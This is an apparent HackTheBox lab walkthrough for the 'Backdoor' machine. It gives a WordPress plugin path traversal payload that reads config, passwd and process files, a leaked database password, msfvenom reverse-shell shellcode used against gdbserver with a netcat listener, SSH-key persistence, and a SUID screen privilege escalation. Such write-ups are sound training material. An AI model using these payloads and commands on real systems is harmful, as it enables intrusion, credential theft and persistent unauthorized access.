Edit

Backdoor

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.125 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.125.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap tells us that "WordPress 5.8.1" is running on port 80. So, we can scan that with wpscan.

Wordpress (port 80)

Let's run wpscan with wpscan --url http://10.10.11.125/ --plugins-detection aggressive. We specify --plugins-detection aggressive in order to detect any installed plugins since without plugins will not be detected.

The SQL injection vulnerabilities seem interesting, but the ebook-download looks really promising since it was specifically installed on this Wordpress instance while the other vulnerabilities are just due to a slightly old Wordpress version. Going to the wpscan link for this vulnerability tells us that it is CVE-2016-10924. Looking on the plugin's official page we can see that this exploit was fixed in version 1.2. Luckily, according to the http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt this site is using version 1.1.

Searching for the actual CVE doesn't find anything that tells us how to exploit it. Searching for "wordpress ebook download 1.1 exploit" brings us to this exploit-db page. The proof of concept exploit is /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php. Sur enough, going to http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php lets us download the wp-config.php file:

The mysql database password is in plain text in the configuration, so we now know that: MQYBJSaD#DxG6qbm.

What is running on port 1337?

I'm assuming that whatever is running on port 1337 is the exploit path since there is nothing else obvious with Wordpress. So, we need to use the path traversal exploit we found to figure out the process on that port.

Searching online for "what is running on this port" finds this article, which mentions using the /proc/$pid/ file system to figure out what is running on a certain port: "Under Linux /proc includes a directory for each running process (including kernel processes) at /proc/PID, containing information about that process, notably including the processes name that opened port."

Reading about the proc filesystem on kernel.org shows that there is a cmdline file within each process's folder containing command line arguments. So, if we can figure out the process id of what is running on port 1337 we can get the command that was used to start it, which will show us what program is running on that port. We can brute force this using Python: get_process_id.py. I determined the number of ../'s needed by adding them one by one until I was able to download /etc/passwd: http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd. In the script we only print output that includes 1337 because the command probably had the port in it. This means all the other processes will be silently ignored.

Running the get_process_id.py script we find that process id 854 is running gdbserver. The complete output from curl "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/854/cmdline" --output -: is ../../../../../../proc/854/cmdline../../../../../../proc/854/cmdline../../../../../../proc/854/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done<script>window.close()</script>.

Foothold

We will exploit gdbserver running on port 1337. We download the literal gdbserver binary from the target with curl "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../usr/bin/gdbserver" --output downloaded_gdbserver. Now, we can use strings and grep to find the actual version string in the binary: strings downloaded_gdbserver | grep version -A 1. This will match about 12 lines and show that the version is Ubuntu 9.2-0ubuntu1~20.04. So, the target is running gdbserver version 9.2.

Let's see if there are any easy exploits for this version using searchsploit gdbserver 9.2:

We can copy the exploit to our home directory with searchsploit -m 50539.py.

Running python3 50539.py --help displays a helpful usage message that walks us through the entire process:

We'll do exactly as the exploit code author says and run msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=40254 PrependFork=true -o rev.bin to create the shellcode. Then, we will start a listener with netcat: nc -nlvp 40254 (or use pwncat-cs -lp 40254). Finally, we run the exploit with python3 50539.py 10.10.11.125:1337 rev.bin... and we get a reverse shell. Nice!

We can now run cat user.txt to get the user.txt flag.

Lateral Movement

Let's get some persistance with run implant.authorized_key key=/home/kali/.ssh/id_rsa in pwncat (or upload the public key to .ssh/authorized_keys manually if using netcat).

Let's scan for possible privilege escalation techniques with LinPEAS by running upload linpeas.sh in pwncat and then running bash linpeas.sh on the target.

In the running processing section of the LinPEAS report we see the following:

LinPEAS highlights this as "95% a privilege escalation vector." (By the way, the box's version of sudo is also vulnerable to CVE-2021-4034, but this is a recent exploit and is not the intended escalation technique. HackTheBox might have also patched this method.)

Some quick online searching finds this article which mentions that we can use the -x argument to screen and then use the syntax screen -x <user>/<session_name> to connect. However, that only works if the /bin/screen binary has the SUID bit set. Running ls -la /bin/screen shows that it does have the SUID bit set: -rwsr-xr-x 1 root root 474280 Feb 23 2021 /bin/screen Additionally, the screen help page (screen --help) confirms our finding that the -x option looks to be what we want:

Run screen -x root/root and now we have a root shell. We can run cat /root/root.txt to get the root.txt flag.

We could now copy over our ssh key to the root user or use pwncat's run implant.authorized_key key=/home/kali/.ssh/id_rsa as root.

PreviousDriverNextDevzat

Last updated

Was this helpful?